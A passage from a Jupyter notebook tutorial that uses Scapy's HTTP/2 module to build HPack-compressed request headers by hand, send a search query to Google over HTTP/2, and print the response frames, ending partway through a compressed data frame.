"hdrs_frm.payload.hdrs.append(accept_hdr)\n", "ua_hdr_idx = tblhdr.get_idx_by_name_and_value('user-agent', 'Scapy HTTP/2 Module')\n", "ua_hdr = h2.HPackIndexedHdr(index = ua_hdr_idx)\n", "ua_hdr.show()\n", "hdrs_frm.payload.hdrs.append(ua_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 64\n", "\n", "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 63\n", "\n" ] } ], "prompt_number": 131 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we forget a piece in our previous queries regarding privacy: I want to add a Do Not Track header (https://tools.ietf.org/html/draft-mayer-do-not-track-00). Let's add this header into every subsequent queries. For this reason, I want to have it indexed. It is worth noting that the \"DNT\" header is not part of the HPack static table (how curious?). Finally, the value of this header is just 1. We might actually save a few bits by NOT compressing this value." ] }, { "cell_type": "code", "collapsed": false, "input": [ "dnt_name_str = h2.HPackLiteralString('dnt')\n", "dnt_val_str = h2.HPackLiteralString('1')\n", "dnt_name = h2.HPackHdrString(data = dnt_name_str)\n", "dnt_value = h2.HPackHdrString(data = dnt_val_str)\n", "dnt_hdr = h2.HPackLitHdrFldWithIncrIndexing(\n", " hdr_name = dnt_name,\n", " hdr_value = dnt_value\n", ")\n", "dnt_hdr.show()\n", "hdrs_frm.payload.hdrs.append(dnt_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header With Incremental Indexing ]### \n", " magic = 1\n", " index = 0\n", " \\hdr_name \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackLiteralString(dnt)'\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackLiteralString(1)'\n", "\n" ] } ], "prompt_number": 132 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We are not done yet with the DNT header, though. We also need to insert it into the HPack Dynamic table, so that later lookups will find it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr.register(dnt_hdr)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 133 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Phew! We made it! Let's see what we got so far." ] }, { "cell_type": "code", "collapsed": false, "input": [ "hdrs_frm.show2()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0xc5\n", " type = HdrsFrm\n", " flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 2\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 7\n", " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Never Index\n", " | index = 4\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 12\n", " | | data = 'HPackZString(/search?q=scapy)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 66\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 16\n", " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Never Index\n", " | index = 32\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 165\n", " | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 65\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 63\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 0\n", " | \\hdr_name \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 3\n", " | | data = 'HPackLiteralString(dnt)'\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Literal\n", " | | len = 1\n", " | | data = 'HPackLiteralString(1)'\n", "\n" ] } ], "prompt_number": 134 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Oh! Just for comparison, we would have got about the same result using the helpers (modulo some safety checks that we did not do here...)." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr.parse_txt_hdrs(\n", " ''':method GET\n", ":scheme https\n", ":path /search?q=scapy\n", ":authority www.google.fr\n", "accept-encoding: gzip, deflate\n", "cookie: {}\n", "accept-language: fr-FR\n", "accept: text/html\n", "user-agent: Scapy HTTP/2 Module\n", "dnt: 1\n", "'''.format(cookie),\n", " stream_id=5,\n", " max_frm_sz=srv_max_frm_sz,\n", " max_hdr_lst_sz=srv_max_hdr_lst_sz,\n", " is_sensitive=lambda hdr_name, hdr_val: hdr_name in ['cookie', ':path'],\n", " should_index=lambda x: x in [\n", " 'x-requested-with', \n", " 'user-agent', \n", " 'accept-language',\n", " 'host',\n", " 'accept',\n", " ':authority',\n", " 'dnt'\n", " ]\n", ").show2()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0xdc\n", " | type = HdrsFrm\n", " | flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 5L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 2\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Never Index\n", " | | index = 4\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 30\n", " | | | data = 'HPackZString(/?gfe_rd=cr&ei=2B1IWOeIDujt8weIvIH4BQ)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 67\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 7\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 16\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 17\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 4\n", " | | | data = 'HPackZString(en-US)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 66\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 65\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 63\n", " | |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | | magic = 0\n", " | | never_index= Never Index\n", " | | index = 32\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 171\n", " | | | data = \"HPackZString(['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly'])\"\n", "\n" ] } ], "prompt_number": 135 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now send our query to Google and read the answer!" ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_global_window -= len(str(hdrs_frm))\n", "assert(srv_global_window >= 0)\n", "ss.send(hdrs_frm)\n", "\n", "h2seq = h2.H2Seq()\n", "\n", "new_frame = None\n", "while isinstance(new_frame, type(None)) or 'ES' not in new_frame.flags:\n", " # As previously, if we receive a ping, we ackownledge it.\n", " if not isinstance(new_frame, type(None)) and new_frame.stream_id == 0:\n", " if new_frame.type == h2.H2PingFrame.type_id:\n", " new_frame.flags.add('A')\n", " srv_global_window -= len(str(new_frame))\n", " assert(srv_global_window >= 0)\n", " ss.send(new_frame)\n", " \n", " assert new_frame.type != h2.H2ResetFrame.type_id \\\n", " and new_frame.type != h2.H2GoAwayFrame.type_id, \\\n", " \"Error received; something is not right!\"\n", " \n", " try:\n", " new_frame = ss.recv()\n", " new_frame.show()\n", " if new_frame.stream_id == 5:\n", " h2seq.frames.append(new_frame)\n", " except:\n", " import time\n", " time.sleep(1)\n", " new_frame = None" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set([])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x8\n", " type = PingFrm\n", " flags = set(['ACK (A)'])\n", " reserved = 0L\n", " stream_id = 0L\n", "###[ HTTP/2 Ping Frame ]### \n", " opaque = 2\n", "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x21\n", " type = HdrsFrm\n", " flags = set(['End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 8\n", " |###[ HPack Literal Header With Incremental Indexing ]### \n", " | magic = 1\n", " | index = 33\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 22\n", " | | data = 'HPackZString(Tue, 13 Dec 2016 17:36:19 GMT)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 70\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 69\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 68\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 83\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 66\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 75\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 64\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 72\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame ]### \n", " len = 0x1640\n", " type = DataFrm\n", " flags = set(['Padded (P)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Padded Data Frame ]### \n", " padlen = 40\n", " data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xa4;\\t\\x97\\x9bF\\x93\\x7f\\x053/c\\xe9\\r\\x928t!\\r\\xe3u\\x92\\x89\\xe3\\xc4I\\x9c\\xc4\\xd9/\\xdf\\xfay\\xf5\\x1ah\\x04\\x19\\x042\\xb4\\xe6\\xb0F\\xffw\\xf7_lU7\\xa0\\xe6\\x90\\xaf5\\xcf\\xd3\\xa2\\xbb\\xba\\xba\\xeb\\xaej\\xe0\\xf2\\x89\\x9fz\\xecaK\\x95\\x90m\\xe2\\xabK\\xfc\\xabD\\x8cnr/\\xddRGU\\xf9\\r\\x028j\\xc8\\xd8v1\\x1a\\xe5^H7d\\x98f\\xeb\\xd1\\x9f\\x94d^\\xf8\\x07\\xcdw1\\xcb_\\x935U\\x95\\x98$kG\\r2\\x15pQ\\xe2_]n(#\\x8a\\x97&\\x8c&\\xccQ\\x19\\xbdg#\\\\d\\xa9x!\\xc9r\\xca\\x9c\\xbf\\xde\\xfc0\\x98\\xab\\nb\\x1f\\xd0\\xf7\\xbb\\xe8\\xd6Q\\xbf\\x13\\xe0\\x837\\xb0\\xae\\xdaD1\\x8a6\\xb0R>r3\\x92\\xf8Q\\xb2\\x1e\\xad\\xd3t\\x1d\\xd3\\xf5\\xc8\\xb8/\\x7f\\xaer\\x06c$\\xf3W^\\x1a\\xa7\\xd9\\xca0\\xe7\\xfev\\xb8M\\xd6\\x82\\x9cm\\x96n\\x1d\\x95\\xa3\\x01\\xecq\\x94\\xdc(aF\\x83\\x0e\\xd4\\x00\\xe9\\xef<6\\x8a\\xbc\\xb4\\xc2\\x1d\\xa7\\x80\\x0b:T%\\xa3\\xb1\\xa3\\xe6a\\x9a1o\\xc7\\x14\\xe8J\\x00\\x1d\\x8bXL\\xafr\\x8fl\\x1f\\x94\\x81\\xf2\\x07\\x05n\\x01\\x8f\\xa8\\xf2\\x82O\\xbf\\x1c\\x89\\xf1\\xcb\\x9c=@s\\xb6vI\\xa6\\x9d\\xadw9\\xcd\\xf6\\x01P8\\xc8\\xa3\\x0ftaX\\xdb\\xfb\\xe5\\x96\\xf8\\xb8\\x87\\x01K\\xb7\\x0bc{\\xaf<\\x896[X\\x8a$ly\\xe0\\xf3\\xf6!\\x8d\\xd6![\\x98\\xe6\\xf6\\xfeP\\xe0(\\'\\xb9)c\\xe9f1\\xab\\xcfC\\xee\\x0fH\\x1c\\xad\\x93E\\x86S\\x0f\\xc3\\xb5\\x1bj\\xf0\\xc7\\xdf\\xbbi\\xe6\\xd3\\xacZ,O\\xe3\\xc8W\\xce<\\xdb\\x9f\\x05\\xc6R\\xda\\x19,\\x85\\x93\\xca\\xb5\\xf5\\xe56\\xcd#\\x16\\xa5\\xc9\\x82\\xb80i\\xc7\\xe8\\x12q\\x98c\\xa0\\xe0.\\xf2Y\\xb80t\\xfd\\x9b\\xc3\\x7fl\\xa8\\x1f\\x11\\x85\\xc4\\xf1\\x1e\\xa6\\x1b\\xf2\\xd6\\x97\\x1b\\x92\\xad\\xa3d\\xc0w\\xb4\\x18N\\xe8fyK3\\x16y$.\\xf6\\n\\x08\\x0b\\x8a\\x838%l\\x11\\xd3\\x80\\x1d\\x0e\\x04\\x11i\\xf8w\\xbc\\xe7\\x84\\xf9\\xd4K3\\xc2\\xf7\\xb2K\\x80\\x18\\x10,\\x95\\xa8\\xafM\\xe0z\\xb18\\xd3uO\\x86\\x80\\xa1H\\x91\\xc7}\\x7fN\\xcdY\\x03$\\xa8\\x81\\xd8\\xba.\\x8f+\\x97#!\\xdaB\\xc2CPEy\\xdf%\\xb5\\x05\\xa3\\x97)\\xd0\\n\\xa3w\\x8b0\\xf2}\\x9a\\x1c\\x86\\xab\\x87\\xd0\\x97U\\x81s\\xfc\\x9f\\xbd\\xe0\\xa55\\xa6\\x9b\\x83\\x9b\\xfa\\x0f\\x1a\\xf35?\\xba\\xd5\\x86[\\x8d\\x08\\xe8\\x80l\\xa2\\xf8aA\\xb2\\x88\\xc4ZN\\x92|\\x00\\xfa\\x10\\x05KF\\xb6\\x83\\x10X\\x1b#{\\x07b\\xd3\\x190\\xb3gN&Z\\xf9_\\xefs\\xac{\\xb1\\xb9\\x85~ J\\xb4Y\\x17J\\x01\\xb7M\\xee/e\\xf9\\x95:\\x87\\x03\\x0b\\xec\\xa8+2\\xb0,\\x0f\"\\r\\xff\\xe62a3\\x1c\\xba\\xd3\\x86\\xef\\x17\\xc4c\\xd1-\\xc5_\\xb7\\x11(\\x13\\xf5\\xb5!\\x03\\x05\\xde\\x95,6\\x0c\\x0f\\x85\\x17\\xb7\\xc4\\x9c\\xa4\\t\\x05\\x8e\\xfd\\xb5\\xf1\\x15\\xb2@;\\xae\\xe4zm|\\xf7\\xadu8\\x0b\\xd2\\x94\\x956\\xb1\\xd0\\x959\\x1a\\n\\xf6)d\\x7f\\x17\\xc2J\\x83|K<\\nx\\xee2\\xb2=\\x84\\x96\\xbc\\xbfiI\\xc9\\x9d\\xa05I\\xb3\\r\\x89\\x97%\\x8b\\x96\\x15\\xda\\xc3YFs\\x05&\\xfbQ\\xbe\\x8d\\xc9\\xc3\"JP\\xf5\\x0eC\\x10d\\xc1\\'\\x94t\\xb7\\xa1\\x0c\\xc0}\\xf9!\\x85n\\xe3\\x90\\xc6J\\x1ci;\\xfc\\xbb\\x8f\\xa3\\x1c\\x90\\xa0>\\n\\x96\\x85\\x86\\x96\\xc60\\xa6\\xc1X\\x17=\\x1b\\xf7:\\xf1\\x95\\xd0\\xdc\\xb7\\xe9?\\x0ci9\\x05D\\xad\\xe8\\x8a>\\x9c\\x81\\xc9\\x1e\\xceP\\xfa\\t\\xb9\\x05\\xcevJ\\xa9\\x1a\\x07\\xac\\x85\\x90fS\\xbc>\\xc6\\xe3\\xc3\\x19\\xcc(]\\x13\\xcc\\x8a\\xc96\\xa7\\x8b\\xf2G\\xcd\\x94@\\x9bd\\xf7\\xc6]\\x04\\xceV\\x80\\x87R\\xbf\\x07!\\x84f\\x87a\\x92\\xbaY\\x97\\n\\x0cY~r\\xbd\\xc30W`V)e\\xa1|^\\xeeV=n\\x9cz7\\xa5i\\x8cu\\x14\\x97\\x08(+.P\\xdc\\n*\\xc6\\xa0T\\x8a\\x99d<\\x858Q\\xeb\\x1a\\xb3$C\\x94=\\xb3\\xe7U\\x12C\\x17q\\xc6\\\\_;#\\xe0\\xc9\\xeb\\xbb\\xd9\\x00\\x83\\x8eJx\\xe0\\x10rd\\xb1\\x8a\\xb9\\xa8&M\\xfd]\\xbd|\\x03\\xa6\\xb8\\xfa\\xe9\\x8d\\xdfP\\xbay9\\t\\xec\\x94\\xc93\\xc5\\x9a\\x8d@V\\xa3yh6I\\xb6\\x9a.d^\\x8a2\\x02/\\x9e\\xb0\\xc5\\x00\\x97C\\x8f\\x90kC\\xb7\\xa6\\x92n\\x1a\\xfb\\x07\\xbai\\xf5\\x15;(\\x14^\\xa8\\xed&\\xda\\xd0\\xca\\xa1\\x10\\xdd\\'\\xee\\xf2\\xc44\\xdc\\xf8\\xfd \\x87Y0m\\x15\\xdf\\xf9{\\x11\\x9a\\x06f=\\x9a\\xb6\\\\w\\x9ez\\xa7\\xd4\\x1f\\xc7\\xca\\xd5\\xe7:^\\x80\\xfa\\xf9w\\'\\xc1a\\xac\\x05~\\xb3\\xf6\\xcb>:\\x9b\\x19\\x86{8[\\xdd~\\xebv(\\x07\\xd5\\xf1*\\xed\\x833\\x15\\x99X\\x8f\\xb4\\xbc\\xa7R\\xa1\\t\\xcc6Ae\\x95\\t2{\\xb5\\xb1\\\\\\xc9\\xf5X&\\xef\\xa4/*\\x1af\\xb3\\xd9\\xb2\\xe1+%k\\x148~\\xd4\\xfd\\x13\\xe0\\xe3N\\xf0W\\xe1iR\\xea1\\x86\\x9b\\xd6\\xea\\xcdM\\xf4\\xc9\\t\\x8b\\x92\\xae\\xc3\\xd9m\\xfa\\x11V\\xd5\\xf8\\x80\\x7f\\x80\\xb7\\xbf>x\\x12\\x0fx\\xa8\\x93U\\xb9\\x16\\xfb\\n]\\x9e\\x14\\x0bA\\x02\\xbao\\xa8\\xfd\\x18w\\x9c\\x97[\\x18\\x14\\xb9\\x11\\xa0(:\\x84\\xb6\\xf2]-\\x8f\\x1e\\x88\\x0b\\x9b\\xd2\\xa5K\\xbc\\x9bu\\x96B^S\\xf6\\x06Ap\\x0c)\\x90\\x89\\x12\\x8c\\xa1\\xcbFp\\xe0\\xded\\xf5\\x9a\\xba`\\xc6\\xbf\\xf3\\xbf\\x7f\\xe5n-_x\\x8e\\xf9B\\xcd\\x12x\\xa2\\x80>\\x12\\xe75\\x0c\\x7fR\\xe2\\x93\\x18s\\x7f?\\x88\\x01\\x08\\x95\\xf6\\xf7\\xda\\x00\\xa6|\\xbb\\xcdAZ\\x93w\\x97\\x86\\x85\\xcc\\xf8\\x84\\x86\\xa2 *\\xd1p\\xed\\x14\\x7f\\xc6|\\x1b\\xd9o^\\xc9M\\xf4\\xe1[s\\xbdt*\\x95\\xd5\\xd28\\x8e\\xb6y\\x94/\\xdba\\xa0i\\xdau\\xf5\\x13\\xdawk\\xbb\\xfbZ7\\xdfl\\x07\\xaeB^\\xd3\\xe9\\x14fma[\\x1d\\xc8\\xb2\\x9b\\xca\\xb2L\\x03/\\xb4\\x87\\xdf\\xdc\\xca\\x05\\xcc\\xf0Bg\\xf4KP\\xa58\\xb6\\x05\\x1d\\xff\\x1c;<\\x9d;\\t\\xe8\\x90\\xe3\\xc2p\\xf5\\xdd\\xcf\\xebc:;v-\\x1b\\x13\\xb2\\xdc]\\x11)12\\xf4\\x9ak+ \\xbc\\xbd \\xccj8>!\\x1d\\xd3\\x9e4\\xaa\\x0b0\\xe5\\xd9\\xbc\\xde\\'\\xd8?\\x99\\x99\\x9d\\xf8\\x15\\x1e\\xe1\\x1aIW\\x1b\\x8ev\\xc7?y\\x9dc\\xf9R\\xda\\x87o\\xe3\\xd5F\\x06>\\xa3\\xb2%n[2\\x08fr\\xcd|1\\x0b\\xf3\\x15\\x8fk\\xb5\\xb89\\xe6\\x81s\\xf5\\xc3\\xef~\\x13>\\xdf\\xb9\\x01\\xc4\\x9c\\x95\\xc7\\xb2\\xb8\\x91\\xc8/\\xe5\\xc8_$9\\xc8D\\x8bgR\"#f$hVq<\\xf1[y\\xe1q)n\\x06\\xba\"\\x06\\xdc\\xee\\x813\\xd8f\\xcev\\x01\\x94+\\xb4\\x89\\x91\\xfb\\x85<\\xbeQ\\xe0\\x8f_\\xd4\\x16\\xe6D/z\\x1bF?\\xb0*\\xe8\\xd5\\x07\\xcbm\\xe2\\x9aT\\x95^\\x81a\\xf5\\xfb\\xeb*a(\\xcb\\x9c\\x06FQ\\xd5\\xac>\\xec*\\xb5\\x9f\\x8c\\xf1\\xc2\\xc0\\xb7\\xf3j\\x8c\\xee\\xf0\\xb2b\\xf2\\xb7\\r\\xc0\\xf62\\x06\\xf7\\x13\\xc4\\xc3L\\xba\\xc3\\x1do\\x02(\\xbd\\xd3 k&\\xfd\\x85`\\x0c\\xbaQ\\xa4\\xac\\x98\\x0bw\\xb8b\\xaf\\xa2&\\x03L\\xee\\x15\\xf3&%\\xb8\\xee\\xea\\xa7k\\xda\\xe8\\'\\xc3 \\x86\\x01\\xef{\\x85h\\xc34\\x8f!\\x05\\xa8g%\\x9d\\tA\\xbd\\xbc) \\xbd]\\x96\\xc3\\xed6\\x8dxR{\\xc6\\x88\\x9f+]\\x90\\xc5\\x90HPj\\xe3ErQ\\x8c\\xf3\\x8c\\xa4k\\xfc\\x93#E\\xe1\\xd6=\\x18\\xa2;\\xad\\x0f\\xb5\\xa8\\xac*\\xf6C\\x0b\\xd9\\xd4\\xf8\\xee0t\\xe3\\xf5\\xa9d\\xc9\\x03`\\r\\xff4\\x8b@}:5\\x8d\\x8e\\\\PP\\x8b3\\xea\\xa0\\x87\\xe1\\xcd\\xad\\xac\\x0c\\\\\\xae7\\xb7yC\\x99\\xb1O\\xc3~\\xd0\\xabx\\xdb\\xcc\\xb7\\xeb\\x1a\\xc8\\xa1Y3L\\xf1\\xca\\xa9q\\x12PV]\\xc7\\x92\\x8c\\xdb\\xf2\\\\\\x14Y\\x87a\\xd0\\xe2\\xed\\xf6\\'W\\x0e\\x06\\xe1x\\x985R\\xf8e#\\xeav\\xd4ZXQ6L\\x03\\xa3\\xe7k\\xb7\\x81j \\xc8k\\x9f\\xcc\\xb4ce3)\\x01|/\\x12\\xaf*4\\x81\\x1c\\x13L\\xcb\\x18ZX\\xf6\\xe2P\\xbdD\\x1d\\xe0i\\xe3\\x02V\\xf7\\x0eh\\x1fr\\n)q\\x8c\\x9b\\xf6)\\xd3\\x05\\xee\\xe4[\\x88\\xef\\x8d\\xe1\\xa2w\\x95B\\x00k\\x15\\xd6\\xc7\\xa1\\xd39\\xfc\\x11\\xc4U\\xa2}K\\xb1:\\xd9\\xcb:\\xb3Z\\x17/\\xac6\\xb1(\\xc0S\\xe5\\xeal\\xac\\x1e!\\xb8\\xadvF\\xdec\\xb1]\\r\\xe6\\xdb\\x95\\x97\\xb0\\x1a\\xc4T\\xd4\\xe8\\xab\\x84\\x1c\\xabU\\xc1\\x13N\\xb0\\xf0\\t*O\\xda\\xd5Z}\\'\\x9c\\xd5*\\x88+\\xb6\\x1d]P\\xc99\\x9f\\xe2U&!\\x93i\\xfb\\x90\\x99\\'@\\xbb\\x98\\xfd\\xc9\\x08\\xabdb\\xdbv\\x93\\xdbM\\x9b\\xef:I\\xd9\\xe4\\xf1\\xfa\\xea\\xa8\\xddENo4\\x165k\\x99\\x88d\\xe0R\\xdc\\xe79\\x92\\x8e\\x95iQ\\x9d\\xfer\\xebk\\xc3`\\xb3m1w\\xe8\\xc5iNW.K\\xf6\\xcd\\xea\\xfc,\\x88!\\xd6jgn\\xd0\\n\\xb9r\"Yy)\\xc3,+\\x86\\x86\\xad\\xd5R\\xca\\xa4\\x99[\\x9fm\\xf22^,\\x86\\x96\\x859\\x84\\x9cE,K\\xaf\\xca\\r\\x0b\\x0b\\xed\\x7fw;Z\\xe9\\xac\\xb5\\xa3\\xa6h\\xf0\\x94k\\r,\\xacl[\\xc7y\\xc7\\x02\\x1bxrR3\\x84?Z6\\x8eqZ\\xc7\\xbd\\x13\\xbbQ\\x03Ox%\\x0f\\x12\\x13N\\xc1\\x9e\\xd7L\\xae\\xa3>\\xedR\\x94\\xd5_\\x7f\\xbb\\x1a\\xe1\\x8d\\xec\\xec\\xeb\\xd9\\xcd\\xb2\\x9bK\\x1f;\\xf9n\\x06?y\\xcfm\"J\\xb9\\xcb\\xa7\"\\xe2\\xaeK\\t\\xba\\ty\\x196\\xad\\xcf\\x92\\xacO\\x98q\\xdb\\xa8kGP\\xd2\\xd9*w\\'\\x90/\\xae~\\n\\xfdZ\\x0e\\xe5\\xc6P\\xc1|\\xf6\\xb6j\\x07\\xfb\\xb2?\\\\\\xe5\\xf7\\xde\\'\\x95\\xafn\\x91X\\x96\\x86>\\n\\x0b\\x9aZ\\xf5\\xce3\\x9d\\xbc~\\xc09\\xb6\\x9a\\xbc\\x04c\\x00\\x15\\x82\\x14\\xaf<\\xf2\\xe7\\tpuW\\x84\\xaa\\xe2V\\x8ai\\xa2\\xa7ij\\xab\\xbfw\\xbe\\x04\\xce-\\xbb\\x13\\xb4f\\xb2xb+\\x95\\x80\\xbb,\\xee\\x95\\xcf\\xfd`\\xb1U\\x9c\\xaeS\\xd3\\xb4\\xf1ia_I\\xd2AF\\xb7\\x94t\\x1c\\xf6\\x1d=\\xcd\\x17#S\\x06\\x86\\x85\\xcc\\x18\\xcc\\xc7RM(=1\\xc3\\x9f5[<\\x88\\xc7H_\\xb1\\x92\\x8d\\x91p`\\x8e\\'\\xd2JV\\xb5\\xd2t\\xd2\\xbd\\x92\\xc2\\x9f-\\xf1_\\xa0K_C\\xa2\\xfee\\x8b\\xae\\x92o\\x9b\\x19\\xe7\\xd1$y\\xc4\\xd91\\xaeZB\\xae,\\x033\\xdf\\x92\\x8c\\xb6\\x8fa;\\xf3O\\xc0~\\x05$\\xedOb\\x01\\x98\\xdf\\xf4}\\xed\\xdcM^\\xa3}F\\xa7\\xf8$\\x0fi\\xd9\\xb4\\xcf\\x1f\\xd6\\x19\\x85\\xbd\\xd4\\x0e\\xfb\\xaa\\x94\\x07\\xff~\\xbe{\\xe3\\x1eL_V\\x0f\\\\\\xb9\\xb95}\\x98\\xfe\\x11\\x06\\xb5\\xbd0\\x7f\\xf0t\\x14\\x88.\\xa8\\x97L} *\\xe7\\xcd\\xc0\\xcf\\xd2\\xad\\x9f\\xde%\\x83\\rMv\\x8dRG>G\\xc1\\xd3\\xc8v\\x9a\\xeb{x\\xb5\\x9e\\x07\\xf0s\\xaf\\xae0Q=\\x19\\x13q\\x8d\\xecX\\xda\\x15\\xfd>\\xf0\\'\\x03\\xf7\\x0b<\\x00\\xfb\\xf7\\x8d\\xdb|\\xbc\\xd5\\xed\\x9b\\x01\\xb0p\\xa2\\xed\\xb3TJ)\\xfa\\xd9\\xff\\xba\\xa9\\x02\\x90eY\\xa7$$\\x88/w\\x8fO\\xd8\\x8dSQ\\xa2,\\xc9\\x9b\\xa8\\xc1\\xc8\\x02w\\xbd\\xae\\x9dD\\x05\\x06^\\xcb\\xd3!z\\x82W\\xa9\\x063\\x9e\\xac\\xa1\\xed\\xe1{\\x11\\xfb\\x92#F\\xfd\\xa4r\\xdcH\\xb6\\xc6\\xe5\\xa4\\x13\\x8f\\xac\\xec\\xfa\\xb9\\xbc!=\\x9d\\x17N\\xde\\xec\\xc8\\xfd:\\x82\\xbc\\xf0b\\xd6\\xac\\\\\\x8e?\\xc3*\\xc5\\xde\\xfd\\x18t\\xcc\\x03H\\x0c\\x82$2[\\xb8(\\xbb4\\x8b\\x9f\\xee\\xb5\\xcd.\\x8fb\\xd8^u\\xec\\xa8WHK\\xd9\\xb70\\xb96^\\xcb\\xeeZ\\x83\\xe8x\\xc1\\xe0\\xfd 